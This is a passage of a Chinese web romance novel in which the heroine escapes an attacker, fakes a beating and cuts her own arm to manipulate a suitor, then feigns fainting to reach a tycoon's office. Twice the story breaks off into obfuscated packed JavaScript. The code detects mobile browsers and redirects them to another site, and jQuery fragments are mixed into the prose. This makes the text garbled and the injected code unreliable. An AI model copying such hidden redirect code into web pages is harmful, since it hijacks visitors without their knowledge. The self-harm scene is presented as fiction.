他的反应速度比江禧逊色太多,头脑与手脚配合力差,发钝。而女孩纵使被施暴,依然头脑清醒,冷静果决,就算是第一次捅人动作生疏,但她胜在有非常敏锐的行动力。 以及,他根本没想到江禧会随身带刀。 又是男人的一声低嚎。 在他愣神的功夫,江禧毫不迟疑拔出美工刀,迅速从地上爬起来,捡起手机,一步跨两阶跑上楼梯,扣住门把手猛地拽开安全门,拔腿就往外冲。 结果冲出去没两步,余光突然瞥见迎面走来一群人。 江禧跑出来的速度太快,电光火石里脚下其实是有意识想刹住,但没来得及,身体因惯性已经往前倒去。 最终失去平衡,整个人几乎是狠狠扑撞进来人怀中。 以为少不了要尴尬被骂。 谁料对方并没有立刻推开她,江禧感到腰际倏地一紧,一只坚定有力的手臂接住她的身子,帮她稳住身体平衡。 她跑得实在太猛了,以至于惯力太大,栽进对方怀里时鼻尖不慎撞到他硬挺的西装衣料,留下一点白色粉底的痕迹。 清消冰透的茶调冷香刹那冲击嗅觉。 好熟悉的香,她一定闻过。 这是…… 江禧恍然惊醒般猛地抬头,果然。 周时浔。 完了,怎么又是他。 正当她分神的那秒,身后“嘭”声巨响砸进她耳里,江禧本能转头,看到孟嘉基拉开安全门追出来。 江禧在那一霎头脑风暴: 半年前,孟嘉基因欠下巨额赌债,无力偿还而跑路。他来到港城,绝对不会是规矩把钱还上后,光明正大过来的。 所以他现在还是逃债跑路中。 或许他是在流窜途中听说了自己的消息,又或者是她今天出门没看黄历,倒霉透顶地刚巧就被他在商场门口看到从周锡风的车上下来,之后一路尾随到楼梯间。 但无论哪种都好。总之,这意味着他一定不敢在港城、在当下这样大庭广众的商圈中心闹事。 如果是这样。 既然是这样的话。 那么,她为什么不利用一下眼前这个在港城最有势力的男人。她必须这样做。这是利益最优化的选择。 “怎么回事?”周时浔敛眸扫了眼少女一身的伤,脸上没着色任何情感,嗓线低沉。 可女孩没动静。赖在他怀里,一动不动。 周时浔眉骨微拧,避开伤口抬手握上她的胳膊,打算把人从怀里拉开—— 就在这个瞬息。 身后孟嘉基准备冲上来的前一秒。 江禧忽然伸出双臂,在周时浔身后一众西装人马惊悚呆滞的目光下,她毫不迟疑地紧紧搂上男人的腰。 语气里带着细弱黏软的哭腔,却又足够大声,喊: “老公快报警…有人想杀我……” 11.猫的诡计 周时浔微怔,完全没设防。 无论是她猝不及防的拥抱,力道蛮横的搂腰。亦或是,女孩黏黏软软的、口无遮拦的一声,老公。 她怎么敢。 周时浔身形略僵,抿起唇,颌骨腮肌瞬间咬紧了下,薄韧眼皮低敛下,冷沉着眸睨她,口吻森寒,一字一顿: “你在干什么?” 女孩用尽力气地抱住他,尽管她的这点力气对周时浔来说根本构不成任何威胁,甚至可以忽略不计。 但是。 不可忽略的是,江禧的确抱得太紧了。 彼此身体紧密贴合的部位在源源不断地倾泻热度,煽动体温攀升,催拉近乎尖锐的燥灼感,难以描述。 从未与任何异性有过如此不妥当的肢体接触,周时浔无法适应,他皱起眉,指骨施力箍紧她的手臂,想将人拽出怀里。 但江禧似乎早有准备,非但不松手,反而更加收紧双臂死死搂抱着男人窄瘦修长的劲腰,少女柔软的身体整个陷入他怀里。紧密相贴的两人,一个冷硬光鲜。一个纤弱狼狈。 体型差的悬殊带来张力强烈的压迫感。 可江禧哪里顾这些,只在心里默念: 五、四、三、二……一。 直到五秒钟过去,身后始终没有传来任何动静,江禧就知道,一定又是她赌赢了。 这才稍稍松了些手指抓力,但她还没从周时浔怀中出来,只极力侧头,透过余光尽量望向后方一点点视角。 而周时浔何其敏觉,一秒洞察到她的微动作,瞬间掀起眼,视线漠然冷锐地跟随她斜撇过去,自然一眼瞥见仍愣在原地的孟嘉基,他虚眯了眯眸子,情绪莫辨。 孟嘉基当然没料到这个场面,回过神才意识到眼下商圈中心这个人群密集的环境,以及被江禧搂住的男人明显不是善茬,更遑论跟在那男人身后的一小队西装人马。 他立马低头压下帽檐,谨慎地抓起衣服领口挡住大半张脸,十分不甘心地恶狠狠瞪一眼江禧,捂着肩上伤口扭头就跑。 危机解除了。 但江禧却笑不出来。 她无法放松。因为更大的危机,在眼前。 周时浔在这时歪头,一个眼神过去。 仲一立刻会意,抬脚就要上前去捉人,不成想手臂蓦地被人拉住。他转头,看到遍体鳞伤的女孩正一手搂着他老板,另一手伸过来一把拉住他,十分坚定地拦下他。 仲一不解,但还是停下脚步,迟疑地看向周时浔。 周时浔下颌微含,垂眼敛向她。 而江禧却在他正欲开口之前,二话不说忽然松开手,后退两步,站回“礼貌妥当”的社交距离,安静凝望他。 他永远衣冠周正,身线落拓修直,长黑款双排扣西装极度衬出他华贵寡漠的气度,精绝皮囊是上帝绝对偏爱的手笔。 他那么遥远,那么居高临下。 又高傲,又松弛,又支配力强大,明锐昂扬又不可一世。 江禧悄然挪移目光,才惊然发觉原来他身后还跟着这么多人,个个西装革履,有男有女,此刻全部眼神震惊地盯着她。 当一件事没办法解决。 最好的办法,就是当这件事没有发生。 江禧随即迅速低下头:“抱歉,先生。” 装着乖,装着害怕,也装着不认识他,她说:“是我认错人了,不小心把您认成了我家丈夫。对不起。” 她的语调不是对待陌生人那样,而是对过路人那样。陌生人或许有机会相熟,但过路人,就只是路过而已。 周时浔眯着眼,眉骨稀微松动,眸底折投寒凉骇人的眩光,冷淡注视她,近乎冻结的声线压着戏嘲:“认错?” 他扯了扯嘴角,又一次嗤声逼问:“不小心?” 瞬即,在场所有人都垂下头,屏息凝神,没有人比他们更清楚自家总裁字词淡稳的语气里,伏藏着怎样平静的危险。 江禧当然比他们更加敏锐感受到这份危险,于是,当周时浔步态优雅地朝她走近时,她也在慌张无措地挪步往后退。 她明白自己绝不能落入周时浔手中。 至少现在还不能。 计从心起的一秒,女孩突然抬起头,目光直直越过周时浔,三秒内做到了从惊惧瑟怕到堂皇寻找,再到惊喜确定的眼神变化。 多么教科书般的完美演技。 然后她对着周时浔身后的空气招手,满脸喜出望外地,喊了句:“老公!老公我在这儿呢!” 难道周时浔会回头吗? 不会的。 还会再上她的当吗? 除非他是傻子。 对,谁都可以是她老公。 他有什么特殊?不过是她为了摆脱困境,而凑巧临时拉上场的“幸运老公”,之一罢了。 用时又搂又抱,用完抱歉你谁。 江禧跑了。 准确来说是周时浔放她跑的。 他几乎要被这女孩气乐了,唇角仍弯着,浅碧眸色却寒意冷却不见半点笑意,半晌,他字音咬紧道:“梁仲一。” 寸头男猝然被叫出全名,表情一秒肃正,本能微躬下腰应道:“是,老板。” 周时浔撩眸扫了眼前方,转身离开时,抬手指了指孟嘉基离开的方向,嗓音冷恹,结着冰渣,吩咐:“查他。” …… “然后呢?说啊,怎么不说了?”黎宏峯见江禧忽然不出声了,差点急死,连忙追问道, “你从楼道出去撞上周时浔,被他发现什么了?” 思绪回笼,江禧抽回神来正要开口,忽然手机响起来,她低头看了眼,瞬间瞳孔微缩,说:“周锡风过来了。” “啊?这少爷还真来了?!”黎宏峯一下子从沙发上站起来,双手叉腰,在江禧面前走来走去,边走边计划着,“那你现在去接他,带他去会场上等我,我现在就通知记者……” 说着又想到另一茬,他捋着头发急道:“但是周时浔那边怎么办?你跟他当时到底是什么情况,他有没有发现你的身份——” “爸爸。”江禧突然这样叫他。 黎宏峯像被人定住,不走了,也不念叨了,转身站在那里低头看她,搞不懂这姑娘是什么意思。 “周时浔那边您不用担心,我来搞定。”在他忙忙叨叨来回暴走的两分钟里,江禧已经脑子飞转,成功想到了对策。 她从桌上拿起绿丝绒小方盒,从里面取出其中那枚女戒,戴入左手中指上,稍稍抬手,反复欣赏自己的细白纤指。 随即转头看向黎宏峯,慢慢弯起嘴角,生动灵闪的眼波流转出野性狡猾的底色,告诉他说: “我想到一个比求婚更好的策略。虽然不能满足您利用舆论为黎家造势的目的,不过爸爸,欲速则不达,我的方法也许针对周锡风来说效果更佳。” “又不求婚了??”黎宏峯还是有些迟疑。 “听我的,咱们不求了。”江禧抛起手里的戒指盒,又精准接住,然后站起来,指了指自己浑身上下的伤,“我这样出镜很难看的。” 说着她走去黎宏峯面前,指尖还漫不经心把玩着戒指盒,下颚轻轻扬起,别有深意地笑道:“而且爸爸,我这身伤总得给周锡风一个像样的解释吧?” 黎宏峯觉得她话说得在理。 但是,他清清嗓子,“人还没来,你现在先不用这样喊我。”不知道为什么,被她一口一个爸爸喊得心里发毛。 江禧笑了声,“怕您待会儿不适应。” “……”虽然不知道这姑娘又要玩什么花样,但黎宏峯其实心底对她倒有种莫名的信任。 这个跟自己女儿一般大的女孩,年纪不大,做起事来却非常周全到位,这种靠谱的感觉就像让人吃了定心剂一样。不需要她过多口舌游说,自然而然就会听她的。 黎宏峯这时缓和下语气:“你有什么计划?” 江禧没回答,而是往房门口走去,站定,转身回望他时,要笑不笑地懒洋洋问他:“黎贝珍从小到大都没跟在您身边,所以您应该没试过打女儿吧?” 黎宏峯被她问懵了下,“什么东西??” “来吧,找找感觉。” 尾音落下,没再多废话,江禧伸手打开门的同时,直接一脚踹倒墙边的陶瓷落地花瓶,一套动作行云流水,干净利落。 ——“哐啷!!” 重器骤然嘭声砸地,细碎瓷片顷刻四飞,纷纷炸溅。 发出好大一声震响。 周锡风刚走出贵宾电梯,就被这声突如其来的巨响狠吓了一跳,他暗骂了句“我丢”,揉揉耳朵吊儿郎当地继续往里走。 结果拐进长廊通道,眼前这幕成功挽留他的脚步。 “没用的东西!” 黎宏峯抬手一巴掌把江禧扇倒在地。 指着她骂:“我养你干什么的?啊!?让你去讨好周锡风,结果你给我讨好半天连个屁都没有,今天这么重要的场合,人家面都不露一下,把我所有的计划都打乱了!” “连个男人的心你都抓不住,养你到底有什么用你告诉我!” “对不起爸爸……”江禧半趴在地上哭。 在黎宏峯谩骂的间隙,江禧敏锐听到身后皮鞋踏在实木地板的脚步声,她悄悄从手边捡起一块碎瓷片,避开动脉,心一横在小臂内侧飞快划开一道长口子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13533191|141163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 薄嫩的皮肤被锋利割破,血珠很快争先恐后从伤口涌冒,蜿蜒流下汇成醒目的鲜红,滴落在地上,染血在衣裙上。 撕扯感带来尖锐的抽痛。 也为了她的表演带来辅助性的情绪铺垫。 “我真的不想您这样算计阿风…爸爸拜托您醒醒吧,根本不存在什么周黎联姻!”江禧压抑着哭腔,声音沙哑, “我跟阿风之间这场所谓的婚约,不过是长辈之间的玩笑话而已,您有什么必要这样执着当真?!” 黎宏峯见她苦肉计都用上了,其实心里也有点发怵,但又见她演得那么入戏,也知道周锡风来了,只能硬着头皮配合她: “联姻是周家长辈都承认的事实,你说不存在就不存在?你以为自己算个什么东西?” 周锡风走过来的时候,时机卡得非常完美,一分不早一秒不迟,正正好就听到江禧喊出这句: “可是阿风不喜欢我啊…他就是不喜欢我我能有什么办法呢?” 女孩的情绪仿佛在这刻崩塌,委屈感让她倾垮,让她爆发出近乎尖利的哭喊:“您让我当众跟他求婚,让媒体拍下那些照片,然后利用子虚乌有的舆论造势,我不愿意!” 说实话演到这儿黎宏峯有点傻了。 不是,怎么还把他的计划全给一点不剩地捅出去了呢?? 但江禧仍然演得非常投入: “就算他不喜欢我,我也不想他讨厌我!我不愿意这样绑架一个心里根本没有我的男人,不愿意去无端地利用他,欺骗他不可以吗!?” “混账!”黎宏峯上去给了她一脚,“这个家里我决定的事情,什么时候轮得到你说愿不愿意了?” 周锡风步伐顿滞,没有走近,就站在那里看。 他的位置很好。 所以看得很清楚,女孩即便挨打,也要极力护着手里一个不知道装着什么鬼东西的绿色小方盒。 他的位置绝佳。 所以听得也明白,女孩是如何遭受父亲的言语折辱。 可她没有半点退让,她据理力争,她非常固执。偏偏有意思的是,她争执的话语并非为了她本人。 ——是的,没有一句是为了她自己。 “我的确没什么话语权。”江禧垂头深吸一口气,声音适时低下去,气势也软下,看起来那样楚楚无力。 让人莫名有些心脏揪紧。 “可是我有明辨是非的能力,我知道爸爸您做这种事是不对的,就算您可以用亲生父亲的身份来绑架我,但您没权力这样对待阿风。” ——字字句句,竟然都是维护他。 她重新仰起小脸,如此弱势,又如此倔强,“实话告诉您吧,您让我厚着脸皮赖在周家,已经让他极其反感。” “今天来这里之前,他还在让我滚。”江禧自嘲地轻笑一声,“我已经决定今晚就滚了。” 还有最后赚足怜悯心的一句: “当然,如果您认为我没有留在这个家的必要,您让我滚,我也会滚的。” 江禧实在演得太真了。 黎宏峯甚至都不知道她哪句是真心话,哪句是假的,也深刻体会到这姑娘演技真不能小觑,因为他根本接不住她的戏。 江禧见他半天没反应,暗中递给他一个眼神,示意他继续。 黎宏峯马上继续,“男人男人你搞不来!家业家业你算不明白!没有一件事你能用心做成的,我他妈还要你干什么?!” “滚,你马上给我滚!”说着又要假装动手。 终于,周锡风再也听不下去。 他大步走进去,“哐”一脚踹开本就半开着的房间门,弯腰扣住江禧的手腕,把人从地上拉起来挡在身后。 随即转身对着黎宏峯逼近两步,冷笑讽嗤:“就你那点破家业还要用心?用脚都能算明白吧!” 很成功的。 黎宏峯傻在了原地。 江禧也是。 但不是因为周锡风,毕竟他的出现在两人预料之中。 真正预料之外的—— 是此刻,门外,出现在三人眼前的那个男人。 全程观赏完这出闹剧的周时浔背靠着墙,身姿慵懒,他抬手夹下叼在唇间没点的白头烟,从耳边拿下正在接通的电话,微微偏头,看过来。 “真精彩。”他腔调散漫。 没有人再敢出声。 男人缓缓掀起睫,寡冷刺人的视线慢悠悠扫过黎宏峯,滑向周锡风,最终落定在他身后的江禧脸上。 捕捉女孩惊惶意外的眼神,周时浔凉淡勾唇,嘴角弯起的弧度嘲弄感浓烈,眉尾略挑,命令她: “过来。” 12.危险信号 周时浔话是看着江禧说的。在场另外两个人还没从愣神中缓过来,也都同时转头惊诧地望向江禧。 周时浔怎么会来这里? 他要干什么? 如果他全程观看了刚刚自己跟黎宏峯的这场戏,那他一定清楚这是假的,是他们演的。因为他撞见过孟嘉基。 关于这件事,江禧当然有思考过。但首先是她认为,像周时浔那样每分钟以“亿”为计算单位的繁忙程度,不见得真的有闲心会特意安排人去调查孟嘉基。 有谁会路过一片垃圾,还会问一嘴是哪来的? 其次是她实在时间紧迫,分身乏术,只能按照事情轻重缓急的程度,先来跟黎宏峯演完这出戏。 等搞定了周锡风,她当然会再想办法寻找合适的时机,认真编个像样的理由去单独告诉周时浔,顺便试探一下关于孟嘉基他知道多少,有没有真的查到她身上。 可他为什么会现在突然过来? 他知道了什么吗? 是来揭穿她的吗? 江禧越想越心里发慌,她不想,至少现在还不能跟周时浔过多接触,毕竟说多错多。 这样想着,她立马朝周锡风靠近了些,伸手轻轻扯住他的衣角,脸上露出极为惊恐惧怕的表情,声音发颤,向他求助:“阿风…我、我有点怕……” “是吧,谁能不怕他。”周锡风侧头,压低着嗓子在她耳边说,“你看连你爸都怕他,何况你一个姑娘家。” 江禧扫了眼黎宏峯,嗯,怎么说呢,又怕又喜吧。 不过说起周锡风,居然没有第一时间推开她,没有像之前那样恶语相向,看上去似乎也没有多排斥她靠近的样子。 他十分平静,甚至一把反握住她的手。 江禧心里别提有多惊喜,眼都瞪大了,一脸激动地抬头望向他,庆幸自己这顿打没白挨,苦肉计没白用,这小子要转性了,一定被自己刚才那番炉火纯青的演技给感动—— ……个屁。 江禧嘴角笑意僵住,眼睁睁看着周锡风一根一根掰开她的手指,然后嫌弃地抻平自己被抓皱的衣角,悄声告诉他: “没办法,关键是我也害怕他啊……” “……”妈的,废物。 还拍了拍她的肩,煞有其事安慰她说:“没事,让你过去就过去吧,放心我大哥不打女人的。” “?”你有病吧。 江禧一秒收起笑容,破罐子破摔地用力拨开他的身子,径直朝周时浔走去,一脸英勇就义的样子。 结果硬气不到三秒,真到他面前瞬间又怕了。 “周先生…”她低头轻声喊他。 周时浔淡漠斜撇她一眼,默了下,之后把手机拿给她,冷声命令道:“接。” 江禧不明所以地盯着眼前他伸过来的手机,稍稍怔忡半秒,直到听见男人不耐啧声,才紧忙回过神,双手接过他的手机,小心翼翼地“喂”了一声。 电话那端竟是汪氏。 被孟嘉基踹下楼梯之前,她还在跟汪氏通着电话,结果手机突然摔落后中断,又被那个王八蛋关了机。 江禧又是一场戏接一场戏的忙到现在,把这事彻底忘脑后了。 看来是在电话那边突然听到她摔落楼梯的响动,之后打她电话一直打不通,老太太受到不小的惊吓,以为她出了什么事,电话都打到周时浔那里去了。 好在汪氏不知道孟嘉基那茬,只以为是黎宏峯卖女儿不成反用暴力。看来周时浔并没有多说什么。 “孩子,你伤得严不严重?” 汪舜英在电话里的声音满是担忧, “刚才我在电话里都听到了,你父亲那个人简直是荒谬!这么好的宝贝千金宠着都来不及,居然用棍棒底下出孝子那套来对待你,比我这个老太婆还要迂腐,实在可气!” 江禧莫名觉得鼻尖有点酸意,眼眶微微发烫,视线转瞬被一片潮热雾气蒙住,这种感觉难受又诡异。 她非常不习惯,她宁愿多挨几顿打。 但还是很快调整好状态,她揉着眼睛,清了清嗓子,放软语调带了点晚辈娇嗔的意味说:“您千万别生气呀奶奶,您要是一生气,那我、我、我更加不敢回去【遊園】面对您了…要不我还是走……” “走什么走,往哪走!”汪舜英扬声打断她, “我听说阿风也过去了,但这小子放出去以后转头就不见人。我都交代好了,让阿浔先带你在外面把伤口处理一下,他办事我放心。” “回来家里有医生,再慢慢养伤补身子,到时候你就跟阿浔一起回来吧。” 完全没给她拒绝的机会,这时候江禧听到那边有人叫她,汪舜英又嘱咐了她几句后很快就挂断电话。 她想说其实不用的。 她可以自己去医院,也可以自己回去。 她真的不想跟周时浔多牵扯。 电话挂断,江禧还没来得及把手机还回去,无意间低眸时,正巧瞥见手机上自动弹出的行程信息表。 真的是,好长一张表。 江禧发誓自己不是有意偷看他的隐私,只是这时候恨自己这个一目十行的速记能力和过目不忘的记忆力,加上她本身对数字的敏感度就异于常人,扫过两眼就几乎背过了。 这男人,行程居然可以从早上五点排到凌晨。 不敢再多看,她连忙把手机递给他,一副很明事理的样子,略低着头说:“我知道您非常忙,就不耽误您的宝贵时间了,奶奶的话您不必放在心上,我跟阿风会处理好我们自己的事。” 话里话外拉足距离,完全把他当外人。 男人喉间溢出一声讥嘲低笑:“现在又跟他是‘我们’了?” 江禧惊惧地抬脸看他,脑中很自然会想起,上次跑去这个男人的别墅里谈合作,却被他反将一军,被他骗门外来的人是周锡风。 那个极度混乱慌张的时刻,她也曾对他脱口而出过这个词。 ——我们。 多么没有边界意识的词语。 多么暧昧的词。 可这个时候的江禧,哪里还有半分当初在他别墅里无畏莽撞的样子,她根本不敢出声。 她简直快要吓死了。 下意识往房间里看了眼,所幸她跟周时浔正站在门外的走廊通道,离门内的两人的确有一点距离。但不多。 放低声音交谈的话或许不会听得太清楚。 要是像刚刚,周时浔抬高声线叫她过来那样,那么就是清清楚楚了。所以她害怕。 害怕他会在周锡风面前,揭穿她一些事。 “这是,怕我?”周时浔一眼洞穿她的想法。 江禧不敢多说什么,只能点头。 然而男人却没打算轻易放过她。 周时浔眯起眼睨着她,压沉嗓线,口吻是平铺直叙的刻薄与嘲弄,他说:“老公都叫了,还怕什么?” 江禧瞳孔剧烈缩紧,立刻又低下头,心里比谁都清楚他是故意在玩弄她,这让她素来转得飞快的脑子险些停摆。 “您、您说什么我听不明白……”她只能装傻。 还有一点点服软的嗔怪。 见惯了她横冲直撞的样子。 总是不肯退让,不守常理,不懂边界,胆大到让他不知道该夸她无畏还是该骂她不知死活。 偶尔见她吃下败阵的样子也不错,看着无辜,装着胆小,如此乖顺,轻易脆弱。 像被取悦到的令人心情愉悦。 令人感到满意。 精于算计与掌控的男人,像只食髓知味到些微餍足的掠夺者,好奇就捕猎,耍玩,逗弄,尽兴后就随手一丢,算放生。 既然她有了另一个“我们”。 那他也不必要再听从老太太的话。带她去医院?那不是他该做的事。特意来一趟这里就为了递个电话,多余。 转身从女孩身边擦肩而过时,他稍顿步,双手插兜歪了歪身子,没有靠近,只保持在妥当的距离,薄唇轻翕: “今晚想来见我,就自己想办法。” 江禧当然一口否决:“我为什么要去见您?” 周时浔也不恼,只低懒地蔑她一眼,唇角微弯,说:“也许你会想跟我聊聊。” “关于孟嘉基的事情。” …… 江禧猜到也许周时浔会去查。可她怎么都没想到他居然这么快就去调监控背调孟嘉基了,这很危险。 而聪明的女孩子从不坐以待毙。 只会机关算尽,主动出击。 要不说谁家孩子谁知道呢。 中午分开前周锡风说自己有事,让她自己去医院,然后随便找个地方待着等他,毕竟周时浔的命令是他去哪都要带上她。 真让汪氏说准了,这小子放出来转头就撒欢。 懒得管他,现在的当务之急是想办法见到周时浔。 其实汪氏交代过,晚上她跟周锡风都可以坐周时浔的车一起回【遊園】。可那样不行。 她必须在那之前,先单独见一面周时浔。 所以江禧也心思没去医院,就在【和埔】这边的一层商铺街选了家露天咖啡厅,从中午坐到晚上,一直在疯狂地头脑风暴。 之所以选择坐在这里,是因为这个位置可以全方位观察到斜对面那座百层高的中环甲级写字楼。 全港城最高地标性建筑。 通身金色玻璃幕,当日落的熙光斜打在这幢摩天大楼,反射出冰冷又辉煌的璀璨感,极具奢华,极致恢宏,诉尽靡丽光线,如天国乐景般极尽不真实的迷幻视觉色彩。 如它的名字:【瑞金大厦】 【瑞和金实集团】的总部办公大厦。 ——周时浔的地盘。 夜幕落下,江禧依然毫无头绪。 细长指尖捏着吸管,有一下没一下地搅动着咖啡杯中的冰块,发出钉钉当啷的脆响。江禧另一手托着腮,百无聊赖地观察着中央广场上熙来攘往的人群。 有网红歌手出街在直播唱歌。 周围围拢聚集着不少人,忽然江禧眼尖地发现有人叫了跑腿,小哥送来整束玫瑰花—— 等等,玫瑰花!? 江禧脑中乍然灵光闪现,她好像……想到办法了。 周时浔当然很难见。 她如果这样贸贸然闯那座摩天大楼,说要见他们总裁本人,一定会被当傻子一样赶出来。 那么周时浔的下属仲一……应该也不容易见到。 不过没关系。 她已经胸有成竹了。 江禧立刻打开手机地图,很快在【和埔】商场内找到一家最贵的花店,打电话过去报了地址,加钱临时订购下一捧花。 四十分钟后,店员为她送来一捧99朵红玫瑰花束。 她抱起花束,穿过马路走到对面。 可等她人到了【瑞金大厦】楼下,却发现自己刚刚想多了,不是她被人从大楼里赶出去,而是外来人员压根连这幢大楼的门都进不去。甚至,她连隐藏式入口在哪都找不到。 服了。 江禧又赶紧掏出手机上网查,按照网上说的,她怀里抱着一大捧花绕着大厦小跑了一圈,总算找到大厦入口的隐形门。 但没员工卡,还是进不去。 怪不得周时浔能发财,集团大楼保密工作这么到位。 真服了。 事实不止保密工作到位,安保工作更强。 她抱着花绕着楼跑动的诡异行为成功引起了警卫人员的注意,很快,江禧看到隐形门突然自动对敞,不知道什么时候早在里面观察她的一名警卫员从门内走出来。 面部表情冷酷,但态度有礼,粤语口音浓郁:“晚上好女士。” 江禧也不怵场,声音轻柔,又言简意赅:“您好,麻烦您帮我联系一下接待部人员。” 这也是网上教的。 想进大厦就跟警卫说找接待部,千万别废话,他们耐心有限,直接说要求。 “好的,请稍等。”果然有用。 警卫通过蓝牙麦通知人来。 一分钟不到,一位身穿橙色职业制服的女生踩着细高跟朝她走过来,收腰小西装,包臀半身裙,皮肤白皙,身材高挑。 “晚上好女士,欢迎来到瑞金,很高兴为您服务。”清浅香气似有若无,伴随女生温柔礼貌的粤语飘来,令人心神舒适, “请问有什么可以帮您?” 网上还说了,等接待部的人出来,可以慢慢说废话,因为她们人美心善又温柔。 于是江禧又开始演了。 今天的第三场戏。 “啊您、您好……是这样的,我想来感谢一下贵公司的一位男性员工……”说到这里,江禧瞬间眼圈泛红,嘴唇轻颤,连声音里也带上了低低弱弱的哽咽,听上去让人心窝发软, “我今晚跟朋友在酒吧门口遭遇危险,如果不是他出手相救,恐怕后果…可能我……” 女孩已经泣不成声了。 深夜街头,年轻漂亮的少女,手捧着99朵玫瑰花,哪怕刚刚受过惊吓,哪怕此刻还遍体鳞伤,也要来感谢自己的救命恩人。 还有比这更具分享欲的茶余八卦吗? 没有了,所以当然要帮。 “女士您先别激动,我大致明白您的意思了。”制服女生体贴地换成普通话,轻拍她的肩,温声安慰。 “如果您确定那位见义勇为的先生是我们集团的内部员工,我愿意尝试帮您找找看,请问您有那位男士的个人信息吗?” “我确定,但我不知道他叫什么名字。” “那您还记得他的一些相关特征吗?例如年纪、身高、口音、面部特殊记忆点等等。” “当时太害怕了,我没怎么看清他的脸。”江禧擦了擦泪,佯作一副极力回想的模样,不确定道, “年纪大约二十几岁,然后高高瘦瘦的,气质很冷,总体看上去应该是有点小帅……” 制服女生温柔一笑,问:“还有吗?” “啊,我想起来了。”她突然记起什么似的,抬起头,认真看着对方说,“他的发型是个寸头。” “寸头?您确定是寸头吗?”制服女生明显一愣,惊疑地又反复确认问道,“您确定是在我们集团上班的,发型留着寸头的年轻男人吗?” “没错,我确定。” 她猜到了。江禧看得出。 或许,在这样一个极度讲究个人形象的高企职场,敢留着寸头来上班的,也就只有周时浔身边的梁仲一了。 “女士,我想我知道您要找的人是谁了。”女生脸上露出自信的笑容,侧身让路给她,做出一个虚请手势,“您可以跟我到里面稍事休息,我这就帮您询问一下他的行程安排。” 从她语气中听得出来,梁仲一的身份不可小觑。 江禧乖巧点点头,跟着她进去。 路上,她清楚听到女生在耳麦说: “接总裁秘书办,问下梁特助行程,一楼大堂待客厅有人找,速回。” 在她看不见的视角里,江禧泛白的唇悄悄弯起。 仲一有时间的。她确定。 江禧记得很清楚,按照周时浔行程表的安排,现在这个时间他正在顶楼参加一场竞拍邮轮成功的庆祝晚宴。 酒会是不需要带特助一起的。 那么,说明仲一现在应该也有空余时间。 果然没过多久,人来了。 她用手机照着后方,透过反投在屏幕的镜像,看着身后的梁仲一迈步朝她走过来,见到是她时,对方神情明显意外了下,微微颔首后开口:“黎小姐——” 结果对方刚开口,江禧蓦地嗖一下从沙发上起身,把手中玫瑰花捧送给他,然后不给对方任何开口询问的机会。 下一秒,直接晕倒在地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13552711|141163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 梁仲一:“?!” / 周时浔从夜宴酒会中提前离席,一出来,早已等在门口的仲一立即迎上去递水给他,低声汇报说: “老板,黎小姐来了。” 周时浔在宴会上喝得有点多,闻言淡淡皱眉,长指勾住领带结微扯了两下,腔调轻讽:“挺有本事。” 脚步未停,仰头喝了口水又问:“人呢。” “黎小姐晕倒了。”说完这句,仲一稍稍停顿半秒,看了眼周时浔的脸色,补充道, “我把她安排在您的私人休息室了。” 周时浔倏然停下来步伐。 他稀微挑下眉尾,偏过头,意味不明地偏头睨他一眼,话里听不出喜怒,嗓线拖着慵懒调子: “你倒是,很会安排。” “抱歉老板。”梁仲一站定,垂下头,却实话实说,“但如果我们再照顾不周让黎小姐出事,传到老夫人那边,您可能又要受训了。” 男人却不领情,“她晕倒,你送到我这来。” 厌冷一笑,“我是医生么?” “事发突然,黎小姐身份高贵,我擅自单独带她去医院恐怕不合适……” “诶今晚的事听说了吗!” “拜托,整栋瑞金都传遍了好吗……” 后方酒廊陡然传来的八卦议论声,强行截断仲一的解释。 “什么事?传遍了什么?” “不是吧你,这都不知道,呐,听人讲今晚梁特助英雄救美,然后被救的那个女孩子竟然买了99朵玫瑰花,亲自跑来给他送花表示感谢诶……” “而且那个女生真的超级漂亮,就是身上伤得好严重,我听二部的人说她见到梁特助太激动,当场就直接晕在他怀里了……” 周时浔撩向他的眼睛缓缓眯起,视线如刀。 “不是怀里。”仲一赶紧解释,“黎小姐是自己晕倒在地上的。” 周时浔没接茬,反问:“刚才说到哪了?” 仲一老实道:“我擅自单独带她去医院不合适——” “有什么不合适。” 又没说完。 这次是被周时浔打断,他缺乏情绪地收回视线,懒冷哂了声,漠然又恶劣地丢来一句:“她不是都给你送花了么?” 老板今晚心情很不好。 仲一知道。但他不知道为什么。但总之从顶层专用电梯穿回总裁办公室的一路上,仲一不敢再乱说话。 是的,仲一所说的“私人休息室”,并非周时浔在瑞金大厦顶楼的专用总统套房。不是那里。 而是瑞金办公层楼区的总裁办公室。 周时浔办公室里间的,私人区域。 当两人走进办公室时,不免被眼前一幕狠狠震住。不,确切来说是梁仲一被狠狠震住,而周时浔始终淡淡的,神色未变。 对面,江禧正坐在老板椅上。 她坐在平时周时浔的位置,侧枕着单只手臂,趴在他的办公桌上,一动不动,似乎睡着了。 周时浔的办公室整体延用极简暗墨色系。超高挑空的天花板,光度油亮的奢石地面,漆黑高冷的真皮座椅,墨绿优雅的极长方办公桌,所有格柜内嵌,撑阔出神秘深邃的肃冷感。 只有少女是这暗色昏光里的唯一色彩。 她皮肤太白。衣服也太亮眼。 半趴在墨绿色桌上,手臂抬高连带拉起莓粉露背短T,露出一截细瘦腻白的腰肢,盈弱得似无骨,不堪一握。 